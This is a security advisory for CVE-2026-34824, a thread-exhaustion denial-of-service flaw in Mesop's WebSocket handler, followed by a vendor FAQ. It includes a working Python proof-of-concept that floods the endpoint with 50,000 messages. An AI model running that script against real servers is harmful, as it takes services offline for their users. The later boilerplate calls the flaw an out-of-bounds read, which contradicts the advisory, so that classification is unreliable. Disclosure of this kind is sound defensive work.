CVE-2026-34824

An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.

Details

The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.

There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.

Vulnerable code snippet in mesop/server/server.py:

while True:
    message = ws.receive()
    if not message:
        continue
    # ... message parsing logic ...

    # VULNERABILITY: Spawning a new thread for every single message without limits
    thread = threading.Thread(
        target=copy_current_request_context(ws_generate_data),
        args=(ws, ui_request),
        daemon=True,
    )
    thread.start()

PoC

To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.

Prerequisites:

Python environment with the websocket-client library installed (pip install websocket-client).

A target Mesop application running locally (e.g., http://localhost:8080).

Steps to reproduce:

Start the target Mesop application.

Save the following script as exploit_dos.py.

Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.

import websocket
import base64

# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"

# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` 
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')

def flood_server():
    ws = websocket.WebSocket()
    try:
        ws.connect(TARGET_WS_URL)
        print("[+] Connection established. Initiating thread exhaustion attack...")
        
        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads
        for i in range(50000):
            ws.send(EMPTY_UI_REQUEST_B64)
            
        print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
        ws.close()
    except Exception as e:
        print(f"[-] Connection closed or server crashed: {e}")

if __name__ == "__main__":
    flood_server()

Mitigation (Recommended Fixes):

Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)
Introduce per-connection rate limiting
Implement a message queue with backpressure
Consider migrating to an async event loop model instead of spawning OS threads

Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.

Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.

Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.

A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.

CVE-2026-34824 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34824? CVE-2026-34824 is a high-severity out-of-bounds read vulnerability in mesop (pip), affecting versions >= 1.2.3, < 1.2.5. It is fixed in 1.2.5. A read operation accesses a memory location beyond the intended buffer boundary.
2. How severe is CVE-2026-34824? CVE-2026-34824 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mesop are affected by CVE-2026-34824? mesop (pip) versions >= 1.2.3, < 1.2.5 is affected.
4. Is there a fix for CVE-2026-34824? Yes. CVE-2026-34824 is fixed in 1.2.5. Upgrade to this version or later.
5. Is CVE-2026-34824 exploitable, and should I be worried? Whether CVE-2026-34824 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34824 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34824? Upgrade mesop to 1.2.5 or later.